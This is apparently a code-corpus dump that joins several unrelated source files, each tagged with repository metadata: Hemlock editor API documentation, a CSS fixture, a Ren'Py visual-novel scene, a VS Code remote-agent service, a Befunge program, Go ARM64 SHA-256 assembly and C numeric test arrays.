@i[Error-file] is the file in which to record compiler output, and a @nil value
inhibits this file's creation. @i[Load] indicates whether to load the
resulting binary file, defaults to @nil. @i[Server] defaults to
@f[get-current-compile-server], but if this returns nil, then @i[server]
defaults to @f[get-current-server].
@enddefun
@subsection (Synchronous Operation Queuing)
The routines in this section queue requests with an eval server and wait for
confirmation that the evaluation actually occurred. Because of this, the user
cannot continue editing while the slave executes the request. Note, these
usually execute in the slave immediately, but if the interactive buffer
connected to the slave is waiting for a form to return a value, the operation
requested must wait until the slave is free again.
@defun[fun {eval-form-in-server},
args {@i[server-info] @i[string] @optional @i[package]}]
This function queues the evaluation of a form in the server associated with
@i[server-info] and waits for the results. The server @f[read]'s the form from
@i[string] with @var[package] bound to the package named by @i[package]. This
returns the results from the slave Lisp in a list of string values. You can
@f[read] from the strings or simply display them depending on the @f[print]'ing
of the evaluation results.
@i[Package] defaults to @hid[Current Package]. If this is @nil, the server
uses the value of @var[package] in the server.
While the slave executes the form, it binds @var[terminal-io] to a stream that
signals errors when read from and dumps output to a bit-bucket. This prevents
the editor and slave from dead locking by waiting for each other to reply.
@enddefun
@defun[fun {eval-form-in-server-1},
args {@i[server-info] @i[string] @optional @i[package]}]
This function calls @f[eval-form-in-server] and @f[read]'s the result in the
first string it returns. This result must be @f[read]'able in the editor's
Lisp.
@enddefun
@section (Spelling)
@index (Spelling checking)
@hemlock supports spelling checking and correcting commands based on the ITS
Ispell dictionary. These commands use the following routines which include
adding and deleting entries, reading the Ispell dictionary in a compiled binary
format, reading user dictionary files in a text format, and checking and
correcting possible spellings.
@defun[fun {maybe-read-spell-dictionary}, package {spell}]
This reads the default binary Ispell dictionary. Users must call this before
the following routines will work.
@enddefun
@defun[fun {spell-read-dictionary}, package {spell}, args {@i[filename]}]
This adds entries to the dictionary from the lines in the file @i[filename].
Dictionary files contain line oriented records like the following:
@begin[programexample]
entry1/flag1/flag2
entry2
entry3/flag1
@end[programexample]
The flags are the Ispell flags indicating which endings are appropriate for the
given entry root, but these are unnecessary for user dictionary files. You can
consult Ispell documentation if you want to know more about them.
@enddefun
@defun[fun {spell-add-entry}, package {spell},
args {@i[line] @optional @i[word-end]}]
This takes a line from a dictionary file, and adds the entry described by
@i[line] to the dictionary. @i[Word-end] defaults to the position of the first
slash character or the length of the line. @i[Line] is destructively modified.
@enddefun
@defun[fun {spell-remove-entry}, package {spell}, args {@i[entry]}]
This removes entry, a simple-string, from the dictionary, so it will be an
unknown word. This destructively modifies @i[entry]. If it is a root word,
then all words derived with @i[entry] and its flags will also be deleted. If
@i[entry] is a word derived from some root word, then the root and any words
derived from it remain known words.
@enddefun
@defun[fun {correct-spelling}, package {spell}, args {@i[word]}]
This checks the spelling of @i[word] and outputs the results. If this finds
@i[word] is correctly spelled due to some appropriate suffix on a root, it
generates output indicating this. If this finds @i[word] as a root entry, it
simply outputs that it found @i[word]. If this cannot find @i[word] at all,
then it outputs possibly correct close spellings. This writes to
@var[standard-output], and it calls @f[maybe-read-spell-dictionary] before
attempting any lookups.
@enddefun
@defun[fun {spell-try-word}, package {spell}, args {@i[word] @i[word-len]}]
@defcon1[var {max-entry-length}, val {31}]
This returns an index into the dictionary if it finds @i[word] or an
appropriate root. @i[Word-len] must be inclusively in the range 2 through
@f[max-entry-length], and it is the length of @i[word]. @i[Word] must be
uppercase. This returns a second value indicating whether it found @i[word]
due to a suffix flag, @nil if @i[word] is a root entry.
@enddefun
@defun[fun {spell-root-word}, package {spell}, args {@i[index]}]
This returns a copy of the root word at dictionary entry @i[index]. This index
is the same as returned by @f[spell-try-word].
@enddefun
@defun[fun {spell-collect-close-words}, package {spell}, args {@i[word]}]
This returns a list of words correctly spelled that are @i[close] to @i[word].
@i[Word] must be uppercase, and its length must be inclusively in the range 2
through @f[max-entry-length]. Close words are determined by the Ispell rules:
@begin[enumerate]
Two adjacent letters can be transposed to form a correct spelling.
One letter can be changed to form a correct spelling.
One letter can be added to form a correct spelling.
One letter can be removed to form a correct spelling.
@end[enumerate]
@enddefun
@defun[fun {spell-root-flags}, package {spell}, args {@i[index]}]
This returns a list of suffix flags as capital letters that apply to the
dictionary root entry at @i[index]. This index is the same as returned by
@f[spell-try-word].
@enddefun
@section (File Utilities)
Some implementations of @hemlock provide extensive directory editing commands,
@hid[Dired], including a single wildcard feature. An asterisk denotes a
wildcard.
@defun[fun {copy-file}, package {dired},
args {@i[spec1] @i[spec2]}, keys {[update][clobber][directory]}]
This function copies @i[spec1] to @i[spec2]. It accepts a single wildcard in
the filename portion of the specification, and it accepts directories. This
copies files maintaining the source's write date.
If @i[spec1] and @i[spec2] are both directories, this recursively copies the
files and subdirectory structure of @i[spec1]; if @i[spec2] is in the
subdirectory structure of @i[spec1], the recursion will not descend into it.
Use @f["/spec1/*"] to copy only the files from @i[spec1] to directory
@i[spec2].
If @i[spec2] is a directory, and @i[spec1] is a file, then this copies
@i[spec1] into @i[spec2] with the same @f[pathname-name].
When @kwd[update] is non-@nil, then the copying process only copies files if the
source is newer than the destination.
When @kwd[update] and @kwd[clobber] are @nil, and the destination exists, the
copying process stops and asks the user whether the destination should be
overwritten.
When the user supplies @kwd[directory], it is a list of pathnames, directories
excluded, and @i[spec1] is a pattern containing one wildcard. This then copies
each of the pathnames whose @f[pathname-name] matches the pattern. @i[Spec2]
is either a directory or a pathname whose @f[pathname-name] contains a
wildcard.
@enddefun
@defun[fun {rename-file}, package {dired},
args {@i[spec1] @i[spec2]}, keys {[clobber][directory]}]
This function renames @i[spec1] to @i[spec2]. It accepts a single wildcard in
the filename portion of the specification, and @i[spec2] may be a directory
with the destination specification resulting in the merging of @i[spec2] with
@i[spec1]. If @kwd[clobber] is @nil, and @i[spec2] exists, then this asks the
user to confirm the renaming. When renaming a directory, end the specification
without the trailing slash.
When the user supplies @kwd[directory], it is a list of pathnames, directories
excluded, and @i[spec1] is a pattern containing one wildcard. This then copies
each of the pathnames whose @f[pathname-name] matches the pattern. @i[Spec2]
is either a directory or a pathname whose @f[pathname-name] contains a
wildcard.
@enddefun
@defun[fun {delete-file}, package {dired},
args {@i[spec]}, keys {[recursive][clobber]}]
This function deletes @i[spec]. It accepts a single wildcard in the filename
portion of the specification, and it asks for confirmation on each file if
@kwd[clobber] is @nil. If @kwd[recursive] is non-@nil, then @i[spec] may be a
directory to recursively delete the entirety of the directory and its
subdirectory structure. An empty directory may be specified without
@kwd[recursive] being non-@nil. Specify directories with the trailing
slash.
@enddefun
@defun[fun {find-file}, package {dired},
args {@i[name] @optional @i[directory] @i[find-all]}]
This function finds the file with @f[file-namestring] @i[name], recursively
looking in @i[directory]. If @i[find-all] is non-@nil (defaults to @nil), then
this continues searching even after finding a first occurrence of file.
@i[Name] may contain a single wildcard, which causes @i[find-all] to default to
@true instead of @nil.
@enddefun
@defun[fun {make-directory}, package {dired}, args {@i[name]}]
This function creates the directory with @i[name]. If it already exists, this
signals an error.
@enddefun
@defun[fun {pathnames-from-pattern}, package {dired},
args {@i[pattern] @i[files]}]
This function returns a list of pathnames from the list @i[files] whose
@f[file-namestring]'s match @i[pattern]. @i[Pattern] must be a non-empty
string and contain only one asterisk. @i[Files] contains no directories.
@enddefun
@defvar[var {update-default}, package {dired}]
@defvar1[var {clobber-default}, package {dired}]
@defvar1[var {recursive-default}, package {dired}]
These are the default values for the keyword arguments above with corresponding
names. These default to @nil, @true, and @nil respectively.
@enddefvar
@defvar[var {report-function}, package {dired}]
@defvar1[var {error-function}, package {dired}]
@defvar1[var {yesp-function}, package {dired}]
These are the function the above routines call to report progress, signal
errors, and prompt for @i[yes] or @i[no]. These all take format strings and
arguments.
@enddefvar
@defun[fun {merge-relative-pathnames}, args {@i[pathname] @i[default-directory]}]
This function merges @i[pathname] with @i[default-directory]. If @i[pathname]
is not absolute, this assumes it is relative to @i[default-directory]. The
result is always a directory pathname.
@enddefun
@defun[fun {directoryp}, args {@i[pathname]}]
This function returns whether @i[pathname] names a directory: it has no name
and no type fields.
@enddefun
@section (Beeping)
@defun[fun {hemlock-beep}]
@Hemlock binds @f[system:*beep-function*] to this function to beep the device.
It is different for different devices.
@enddefun
@defhvar[var "Bell Style", val {:border-flash}]
@defhvar1[var "Beep Border Width", val {20}]
@hid[Bell Style] determines what @var[hemlock-beep] does in @hemlock under CLX.
Acceptable values are @kwd[border-flash], @kwd[feep],
@kwd[border-flash-and-feep], @kwd[flash], @kwd[flash-and-feep], and @nil (do
nothing).
@hid[Beep Border Width] is the width in pixels of the border flashed by border
flash beep styles.
@enddefhvar
| CartoCSS | 5 | digikar99/ccl | cocoa-ide/hemlock/doc/cim/aux-sys.mss | [
"Apache-2.0"
] |
/* CHANGED.CHANGED */
body {
margin: 0;
}
h1, footer {
padding: 2px auto;
}
ul.CHANGED {
list-style: none;
}
.CHANGED {
font-size: large;
}
| CSS | 3 | ravitejavalluri/brackets | test/spec/FindReplace-known-goods/regexp-case-sensitive/css/foo.css | [
"MIT"
] |
label ccb0009:
太一 "「さて」"
"ふぁさぁっと前髪を払う。"
太一 "「邪魔したな」"
call gl(1,"TCYM0003|TCYM0003")
call vsp(1,1)
with dissolve
voice "vfccb0009mki000"
美希 "「おつとめご苦労様です」"
太一 "「そうだ、美希」"
"立ち止まる。"
"大切なことを伝え忘れていた。"
call gl(1,"TCYM0000|TCYM0000")
call vsp(1,1)
with dissolve
voice "vfccb0009mki001"
美希 "「はい」"
太一 "「そろそろ部活、活動再開するってさ」"
voice "vfccb0009mki002"
美希 "「部活ですか?」"
太一 "「どうしても心がきつくなったら、顔を出してみるといい」"
太一 "「そういうための、部活だろうから」"
"ゆっくりと、美希の顔に理解がさした。"
call gl(1,"TCYM0001|TCYM0000")
call vsp(1,1)
with dissolve
voice "vfccb0009mki003"
美希 "「……はい」"
hide pic1
with dissolve
stop bgm
menu:
"喜びだけでないなにかが、そこには混入していた。"
"教室に行く":
$B=1
"屋上に行く":
$B=2
return
# | Ren'Py | 3 | fossabot/cross-channel_chinese-localization_project | AllPlatforms/scripts/ccb/ccb0009.rpy | [
"Apache-2.0"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import * as nls from 'vs/nls';
import { IWorkbenchEnvironmentService } from 'vs/workbench/services/environment/common/environmentService';
import { IRemoteAgentService } from 'vs/workbench/services/remote/common/remoteAgentService';
import { IRemoteAuthorityResolverService, RemoteAuthorityResolverError } from 'vs/platform/remote/common/remoteAuthorityResolver';
import { AbstractRemoteAgentService } from 'vs/workbench/services/remote/common/abstractRemoteAgentService';
import { IProductService } from 'vs/platform/product/common/productService';
import { IWebSocketFactory, BrowserSocketFactory } from 'vs/platform/remote/browser/browserSocketFactory';
import { ISignService } from 'vs/platform/sign/common/sign';
import { ILogService } from 'vs/platform/log/common/log';
import { Severity } from 'vs/platform/notification/common/notification';
import { IDialogService } from 'vs/platform/dialogs/common/dialogs';
import { Registry } from 'vs/platform/registry/common/platform';
import { IWorkbenchContribution, IWorkbenchContributionsRegistry, Extensions } from 'vs/workbench/common/contributions';
import { IHostService } from 'vs/workbench/services/host/browser/host';
import { LifecyclePhase } from 'vs/workbench/services/lifecycle/common/lifecycle';
import { ITelemetryService } from 'vs/platform/telemetry/common/telemetry';
import { getRemoteName } from 'vs/platform/remote/common/remoteHosts';
export class RemoteAgentService extends AbstractRemoteAgentService implements IRemoteAgentService {
constructor(
webSocketFactory: IWebSocketFactory | null | undefined,
@IWorkbenchEnvironmentService environmentService: IWorkbenchEnvironmentService,
@IProductService productService: IProductService,
@IRemoteAuthorityResolverService remoteAuthorityResolverService: IRemoteAuthorityResolverService,
@ISignService signService: ISignService,
@ILogService logService: ILogService
) {
super(new BrowserSocketFactory(webSocketFactory), environmentService, productService, remoteAuthorityResolverService, signService, logService);
}
}
class RemoteConnectionFailureNotificationContribution implements IWorkbenchContribution {
constructor(
@IRemoteAgentService remoteAgentService: IRemoteAgentService,
@IDialogService private readonly _dialogService: IDialogService,
@IHostService private readonly _hostService: IHostService,
@IWorkbenchEnvironmentService private readonly _environmentService: IWorkbenchEnvironmentService,
@ITelemetryService private readonly _telemetryService: ITelemetryService,
) {
// Let's cover the case where connecting to fetch the remote extension info fails
remoteAgentService.getRawEnvironment()
.then(undefined, (err) => {
type RemoteConnectionFailureClassification = {
web: { classification: 'SystemMetaData', purpose: 'PerformanceAndHealth' };
remoteName: { classification: 'SystemMetaData', purpose: 'PerformanceAndHealth' };
message: { classification: 'SystemMetaData', purpose: 'PerformanceAndHealth' };
};
type RemoteConnectionFailureEvent = {
web: boolean;
remoteName: string | undefined;
message: string;
};
this._telemetryService.publicLog2<RemoteConnectionFailureEvent, RemoteConnectionFailureClassification>('remoteConnectionFailure', {
web: true,
remoteName: getRemoteName(this._environmentService.remoteAuthority),
message: err ? err.message : ''
});
if (!RemoteAuthorityResolverError.isHandled(err)) {
this._presentConnectionError(err);
}
});
}
private async _presentConnectionError(err: any): Promise<void> {
const res = await this._dialogService.show(
Severity.Error,
nls.localize('connectionError', "An unexpected error occurred that requires a reload of this page."),
[
nls.localize('reload', "Reload")
],
{
detail: nls.localize('connectionErrorDetail', "The workbench failed to connect to the server (Error: {0})", err ? err.message : '')
}
);
if (res.choice === 0) {
this._hostService.reload();
}
}
}
const workbenchRegistry = Registry.as<IWorkbenchContributionsRegistry>(Extensions.Workbench);
workbenchRegistry.registerWorkbenchContribution(RemoteConnectionFailureNotificationContribution, LifecyclePhase.Ready);
| TypeScript | 4 | kklt2002/vscode | src/vs/workbench/services/remote/browser/remoteAgentServiceImpl.ts | [
"MIT"
] |
>&>::.3%:v
v_.25*,v
^ _ 1.@
>3/:1-^
^ <
>2-v
^-1,*25.-10_1.25*,v
^+1 <
# 27/11/2017 | Befunge | 0 | tlgs/dailyprogrammer | Befunge/easy/e239.befunge | [
"Unlicense"
] |
// Copyright 2017 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
#include "textflag.h"
#define HASHUPDATE \
SHA256H V9.S4, V3, V2 \
SHA256H2 V9.S4, V8, V3 \
VMOV V2.B16, V8.B16
// func sha256block(h []uint32, p []byte, k []uint32)
TEXT ·sha256block(SB),NOSPLIT,$0
MOVD h_base+0(FP), R0 // Hash value first address
MOVD p_base+24(FP), R1 // message first address
MOVD k_base+48(FP), R2 // k constants first address
MOVD p_len+32(FP), R3 // message length
VLD1 (R0), [V0.S4, V1.S4] // load h(a,b,c,d,e,f,g,h)
VLD1.P 64(R2), [V16.S4, V17.S4, V18.S4, V19.S4]
VLD1.P 64(R2), [V20.S4, V21.S4, V22.S4, V23.S4]
VLD1.P 64(R2), [V24.S4, V25.S4, V26.S4, V27.S4]
VLD1 (R2), [V28.S4, V29.S4, V30.S4, V31.S4] //load 64*4bytes K constant(K0-K63)
blockloop:
VLD1.P 16(R1), [V4.B16] // load 16bytes message
VLD1.P 16(R1), [V5.B16] // load 16bytes message
VLD1.P 16(R1), [V6.B16] // load 16bytes message
VLD1.P 16(R1), [V7.B16] // load 16bytes message
VMOV V0.B16, V2.B16 // backup: VO h(dcba)
VMOV V1.B16, V3.B16 // backup: V1 h(hgfe)
VMOV V2.B16, V8.B16
VREV32 V4.B16, V4.B16 // prepare for using message in Byte format
VREV32 V5.B16, V5.B16
VREV32 V6.B16, V6.B16
VREV32 V7.B16, V7.B16
VADD V16.S4, V4.S4, V9.S4 // V18(W0+K0...W3+K3)
SHA256SU0 V5.S4, V4.S4 // V4: (su0(W1)+W0,...,su0(W4)+W3)
HASHUPDATE // H4
VADD V17.S4, V5.S4, V9.S4 // V18(W4+K4...W7+K7)
SHA256SU0 V6.S4, V5.S4 // V5: (su0(W5)+W4,...,su0(W8)+W7)
SHA256SU1 V7.S4, V6.S4, V4.S4 // V4: W16-W19
HASHUPDATE // H8
VADD V18.S4, V6.S4, V9.S4 // V18(W8+K8...W11+K11)
SHA256SU0 V7.S4, V6.S4 // V6: (su0(W9)+W8,...,su0(W12)+W11)
SHA256SU1 V4.S4, V7.S4, V5.S4 // V5: W20-W23
HASHUPDATE // H12
VADD V19.S4, V7.S4, V9.S4 // V18(W12+K12...W15+K15)
SHA256SU0 V4.S4, V7.S4 // V7: (su0(W13)+W12,...,su0(W16)+W15)
SHA256SU1 V5.S4, V4.S4, V6.S4 // V6: W24-W27
HASHUPDATE // H16
VADD V20.S4, V4.S4, V9.S4 // V18(W16+K16...W19+K19)
SHA256SU0 V5.S4, V4.S4 // V4: (su0(W17)+W16,...,su0(W20)+W19)
SHA256SU1 V6.S4, V5.S4, V7.S4 // V7: W28-W31
HASHUPDATE // H20
VADD V21.S4, V5.S4, V9.S4 // V18(W20+K20...W23+K23)
SHA256SU0 V6.S4, V5.S4 // V5: (su0(W21)+W20,...,su0(W24)+W23)
SHA256SU1 V7.S4, V6.S4, V4.S4 // V4: W32-W35
HASHUPDATE // H24
VADD V22.S4, V6.S4, V9.S4 // V18(W24+K24...W27+K27)
SHA256SU0 V7.S4, V6.S4 // V6: (su0(W25)+W24,...,su0(W28)+W27)
SHA256SU1 V4.S4, V7.S4, V5.S4 // V5: W36-W39
HASHUPDATE // H28
VADD V23.S4, V7.S4, V9.S4 // V18(W28+K28...W31+K31)
SHA256SU0 V4.S4, V7.S4 // V7: (su0(W29)+W28,...,su0(W32)+W31)
SHA256SU1 V5.S4, V4.S4, V6.S4 // V6: W40-W43
HASHUPDATE // H32
VADD V24.S4, V4.S4, V9.S4 // V18(W32+K32...W35+K35)
SHA256SU0 V5.S4, V4.S4 // V4: (su0(W33)+W32,...,su0(W36)+W35)
SHA256SU1 V6.S4, V5.S4, V7.S4 // V7: W44-W47
HASHUPDATE // H36
VADD V25.S4, V5.S4, V9.S4 // V18(W36+K36...W39+K39)
SHA256SU0 V6.S4, V5.S4 // V5: (su0(W37)+W36,...,su0(W40)+W39)
SHA256SU1 V7.S4, V6.S4, V4.S4 // V4: W48-W51
HASHUPDATE // H40
VADD V26.S4, V6.S4, V9.S4 // V18(W40+K40...W43+K43)
SHA256SU0 V7.S4, V6.S4 // V6: (su0(W41)+W40,...,su0(W44)+W43)
SHA256SU1 V4.S4, V7.S4, V5.S4 // V5: W52-W55
HASHUPDATE // H44
VADD V27.S4, V7.S4, V9.S4 // V18(W44+K44...W47+K47)
SHA256SU0 V4.S4, V7.S4 // V7: (su0(W45)+W44,...,su0(W48)+W47)
SHA256SU1 V5.S4, V4.S4, V6.S4 // V6: W56-W59
HASHUPDATE // H48
VADD V28.S4, V4.S4, V9.S4 // V18(W48+K48,...,W51+K51)
HASHUPDATE // H52
SHA256SU1 V6.S4, V5.S4, V7.S4 // V7: W60-W63
VADD V29.S4, V5.S4, V9.S4 // V18(W52+K52,...,W55+K55)
HASHUPDATE // H56
VADD V30.S4, V6.S4, V9.S4 // V18(W59+K59,...,W59+K59)
HASHUPDATE // H60
VADD V31.S4, V7.S4, V9.S4 // V18(W60+K60,...,W63+K63)
HASHUPDATE // H64
SUB $64, R3, R3 // message length - 64bytes, then compare with 64bytes
VADD V2.S4, V0.S4, V0.S4
VADD V3.S4, V1.S4, V1.S4
CBNZ R3, blockloop
sha256ret:
VST1 [V0.S4, V1.S4], (R0) // store hash value H
RET
| GAS | 4 | Havoc-OS/androidprebuilts_go_linux-x86 | src/crypto/sha256/sha256block_arm64.s | [
"BSD-3-Clause"
] |
static const uint16_t in_val[46] = {
0x91bd, 0x2595, 0x270a, 0x26c5, 0x2010, 0x9f82, 0xa63d, 0xa7e8,
0xa4dc, 0x9c98, 0x23d4, 0x27bd, 0x272e, 0x20de, 0xa02d, 0xa5e7,
0xa76e, 0xa619, 0x1174, 0x24a3, 0x270e, 0x2650, 0x20c6, 0x9e4e,
0xa680, 0xa79e, 0xa37c, 0x9525, 0x25da, 0x27ce, 0x2754, 0x2230,
0xa134, 0xa62a, 0xa844, 0xa53b, 0x946f, 0x2518, 0x2749, 0x26d0,
0x1e34, 0xa1bc, 0xa688, 0xa80e, 0xa57c, 0x1cd6
};
static const uint16_t in_coeff[497] = {
0x3800, 0x3400, 0x38cd, 0x3666, 0x3266, 0x3955, 0x3800, 0x3555,
0x3155, 0x39b7, 0x3892, 0x36db, 0x3492, 0x3092, 0x3a00, 0x3900,
0x3800, 0x3600, 0x3400, 0x3000, 0x3a39, 0x3955, 0x3872, 0x371c,
0x3555, 0x331c, 0x2f1c, 0x3a66, 0x399a, 0x38cd, 0x3800, 0x3666,
0x34cd, 0x3266, 0x2e66, 0x3ac5, 0x3a27, 0x398a, 0x38ec, 0x384f,
0x3762, 0x3627, 0x34ec, 0x3362, 0x30ec, 0x2cec, 0x3b68, 0x3b1c,
0x3ad1, 0x3a85, 0x3a39, 0x39ed, 0x39a1, 0x3955, 0x3909, 0x38be,
0x3872, 0x3826, 0x37b4, 0x371c, 0x3685, 0x35ed, 0x3555, 0x34be,
0x3426, 0x331c, 0x31ed, 0x30be, 0x2f1c, 0x2cbe, 0x28be, 0x3800,
0x3400, 0x38cd, 0x3666, 0x3266, 0x3955, 0x3800, 0x3555, 0x3155,
0x39b7, 0x3892, 0x36db, 0x3492, 0x3092, 0x3a00, 0x3900, 0x3800,
0x3600, 0x3400, 0x3000, 0x3a39, 0x3955, 0x3872, 0x371c, 0x3555,
0x331c, 0x2f1c, 0x3a66, 0x399a, 0x38cd, 0x3800, 0x3666, 0x34cd,
0x3266, 0x2e66, 0x3ac5, 0x3a27, 0x398a, 0x38ec, 0x384f, 0x3762,
0x3627, 0x34ec, 0x3362, 0x30ec, 0x2cec, 0x3b68, 0x3b1c, 0x3ad1,
0x3a85, 0x3a39, 0x39ed, 0x39a1, 0x3955, 0x3909, 0x38be, 0x3872,
0x3826, 0x37b4, 0x371c, 0x3685, 0x35ed, 0x3555, 0x34be, 0x3426,
0x331c, 0x31ed, 0x30be, 0x2f1c, 0x2cbe, 0x28be, 0x3800, 0x3400,
0x38cd, 0x3666, 0x3266, 0x3955, 0x3800, 0x3555, 0x3155, 0x39b7,
0x3892, 0x36db, 0x3492, 0x3092, 0x3a00, 0x3900, 0x3800, 0x3600,
0x3400, 0x3000, 0x3a39, 0x3955, 0x3872, 0x371c, 0x3555, 0x331c,
0x2f1c, 0x3a66, 0x399a, 0x38cd, 0x3800, 0x3666, 0x34cd, 0x3266,
0x2e66, 0x3ac5, 0x3a27, 0x398a, 0x38ec, 0x384f, 0x3762, 0x3627,
0x34ec, 0x3362, 0x30ec, 0x2cec, 0x3b68, 0x3b1c, 0x3ad1, 0x3a85,
0x3a39, 0x39ed, 0x39a1, 0x3955, 0x3909, 0x38be, 0x3872, 0x3826,
0x37b4, 0x371c, 0x3685, 0x35ed, 0x3555, 0x34be, 0x3426, 0x331c,
0x31ed, 0x30be, 0x2f1c, 0x2cbe, 0x28be, 0x3800, 0x3400, 0x38cd,
0x3666, 0x3266, 0x3955, 0x3800, 0x3555, 0x3155, 0x39b7, 0x3892,
0x36db, 0x3492, 0x3092, 0x3a00, 0x3900, 0x3800, 0x3600, 0x3400,
0x3000, 0x3a39, 0x3955, 0x3872, 0x371c, 0x3555, 0x331c, 0x2f1c,
0x3a66, 0x399a, 0x38cd, 0x3800, 0x3666, 0x34cd, 0x3266, 0x2e66,
0x3ac5, 0x3a27, 0x398a, 0x38ec, 0x384f, 0x3762, 0x3627, 0x34ec,
0x3362, 0x30ec, 0x2cec, 0x3b68, 0x3b1c, 0x3ad1, 0x3a85, 0x3a39,
0x39ed, 0x39a1, 0x3955, 0x3909, 0x38be, 0x3872, 0x3826, 0x37b4,
0x371c, 0x3685, 0x35ed, 0x3555, 0x34be, 0x3426, 0x331c, 0x31ed,
0x30be, 0x2f1c, 0x2cbe, 0x28be, 0x3800, 0x3400, 0x38cd, 0x3666,
0x3266, 0x3955, 0x3800, 0x3555, 0x3155, 0x39b7, 0x3892, 0x36db,
0x3492, 0x3092, 0x3a00, 0x3900, 0x3800, 0x3600, 0x3400, 0x3000,
0x3a39, 0x3955, 0x3872, 0x371c, 0x3555, 0x331c, 0x2f1c, 0x3a66,
0x399a, 0x38cd, 0x3800, 0x3666, 0x34cd, 0x3266, 0x2e66, 0x3ac5,
0x3a27, 0x398a, 0x38ec, 0x384f, 0x3762, 0x3627, 0x34ec, 0x3362,
0x30ec, 0x2cec, 0x3b68, 0x3b1c, 0x3ad1, 0x3a85, 0x3a39, 0x39ed,
0x39a1, 0x3955, 0x3909, 0x38be, 0x3872, 0x3826, 0x37b4, 0x371c,
0x3685, 0x35ed, 0x3555, 0x34be, 0x3426, 0x331c, 0x31ed, 0x30be,
0x2f1c, 0x2cbe, 0x28be, 0x3800, 0x3400, 0x38cd, 0x3666, 0x3266,
0x3955, 0x3800, 0x3555, 0x3155, 0x39b7, 0x3892, 0x36db, 0x3492,
0x3092, 0x3a00, 0x3900, 0x3800, 0x3600, 0x3400, 0x3000, 0x3a39,
0x3955, 0x3872, 0x371c, 0x3555, 0x331c, 0x2f1c, 0x3a66, 0x399a,
0x38cd, 0x3800, 0x3666, 0x34cd, 0x3266, 0x2e66, 0x3ac5, 0x3a27,
0x398a, 0x38ec, 0x384f, 0x3762, 0x3627, 0x34ec, 0x3362, 0x30ec,
0x2cec, 0x3b68, 0x3b1c, 0x3ad1, 0x3a85, 0x3a39, 0x39ed, 0x39a1,
0x3955, 0x3909, 0x38be, 0x3872, 0x3826, 0x37b4, 0x371c, 0x3685,
0x35ed, 0x3555, 0x34be, 0x3426, 0x331c, 0x31ed, 0x30be, 0x2f1c,
0x2cbe, 0x28be, 0x3800, 0x3400, 0x38cd, 0x3666, 0x3266, 0x3955,
0x3800, 0x3555, 0x3155, 0x39b7, 0x3892, 0x36db, 0x3492, 0x3092,
0x3a00, 0x3900, 0x3800, 0x3600, 0x3400, 0x3000, 0x3a39, 0x3955,
0x3872, 0x371c, 0x3555, 0x331c, 0x2f1c, 0x3a66, 0x399a, 0x38cd,
0x3800, 0x3666, 0x34cd, 0x3266, 0x2e66, 0x3ac5, 0x3a27, 0x398a,
0x38ec, 0x384f, 0x3762, 0x3627, 0x34ec, 0x3362, 0x30ec, 0x2cec,
0x3b68, 0x3b1c, 0x3ad1, 0x3a85, 0x3a39, 0x39ed, 0x39a1, 0x3955,
0x3909, 0x38be, 0x3872, 0x3826, 0x37b4, 0x371c, 0x3685, 0x35ed,
0x3555, 0x34be, 0x3426, 0x331c, 0x31ed, 0x30be, 0x2f1c, 0x2cbe,
0x28be
};
static const uint16_t in_config[126] = {
0x0001, 0x0002, 0x0001, 0x0003, 0x0001, 0x0004, 0x0001, 0x0005,
0x0001, 0x0006, 0x0001, 0x0007, 0x0001, 0x0008, 0x0001, 0x000B,
0x0001, 0x0019, 0x0002, 0x0002, 0x0002, 0x0003, 0x0002, 0x0004,
0x0002, 0x0005, 0x0002, 0x0006, 0x0002, 0x0007, 0x0002, 0x0008,
0x0002, 0x000B, 0x0002, 0x0019, 0x0003, 0x0002, 0x0003, 0x0003,
0x0003, 0x0004, 0x0003, 0x0005, 0x0003, 0x0006, 0x0003, 0x0007,
0x0003, 0x0008, 0x0003, 0x000B, 0x0003, 0x0019, 0x000C, 0x0002,
0x000C, 0x0003, 0x000C, 0x0004, 0x000C, 0x0005, 0x000C, 0x0006,
0x000C, 0x0007, 0x000C, 0x0008, 0x000C, 0x000B, 0x000C, 0x0019,
0x000D, 0x0002, 0x000D, 0x0003, 0x000D, 0x0004, 0x000D, 0x0005,
0x000D, 0x0006, 0x000D, 0x0007, 0x000D, 0x0008, 0x000D, 0x000B,
0x000D, 0x0019, 0x000E, 0x0002, 0x000E, 0x0003, 0x000E, 0x0004,
0x000E, 0x0005, 0x000E, 0x0006, 0x000E, 0x0007, 0x000E, 0x0008,
0x000E, 0x000B, 0x000E, 0x0019, 0x000F, 0x0002, 0x000F, 0x0003,
0x000F, 0x0004, 0x000F, 0x0005, 0x000F, 0x0006, 0x000F, 0x0007,
0x000F, 0x0008, 0x000F, 0x000B, 0x000F, 0x0019
};
static const uint16_t ref_val[1080] = {
0x89bd, 0x1d39, 0x8897, 0x1c2e, 0x87a6, 0x1af7, 0x868e, 0x19f9,
0x85bd, 0x1939, 0x8519, 0x18a5, 0x8497, 0x182e, 0x8388, 0x166e,
0x81b3, 0x1231, 0x89bd, 0x1d39, 0x248d, 0x2536, 0x8897, 0x1c2e,
0x2311, 0x2785, 0x87a6, 0x1af7, 0x21e4, 0x2625, 0x868e, 0x19f9,
0x210c, 0x2545, 0x85bd, 0x1939, 0x206b, 0x249c, 0x8519, 0x18a5,
0x1fda, 0x2419, 0x8497, 0x182e, 0x1f11, 0x2360, 0x8388, 0x166e,
0x1d70, 0x21ac, 0x81b3, 0x1231, 0x193c, 0x1d77, 0x89bd, 0x1d39,
0x248d, 0x2536, 0x23c9, 0x185f, 0x8897, 0x1c2e, 0x2311, 0x2785,
0x2756, 0x247f, 0x87a6, 0x1af7, 0x21e4, 0x2625, 0x28eb, 0x2838,
0x868e, 0x19f9, 0x210c, 0x2545, 0x2827, 0x299c, 0x85bd, 0x1939,
0x206b, 0x249c, 0x2744, 0x28d8, 0x8519, 0x18a5, 0x1fda, 0x2419,
0x2675, 0x284e, 0x8497, 0x182e, 0x1f11, 0x2360, 0x25d0, 0x27c0,
0x8388, 0x166e, 0x1d70, 0x21ac, 0x2478, 0x25f6, 0x81b3, 0x1231,
0x193c, 0x1d77, 0x204e, 0x21bd, 0x89bd, 0x1d39, 0x248d, 0x2536,
0x23c9, 0x185f, 0xa0ff, 0xa518, 0xa52b, 0xa16f, 0x1676, 0x23c8,
0x25aa, 0x2433, 0x198f, 0xa10a, 0xa4cf, 0xa53d, 0xa203, 0x1cfa,
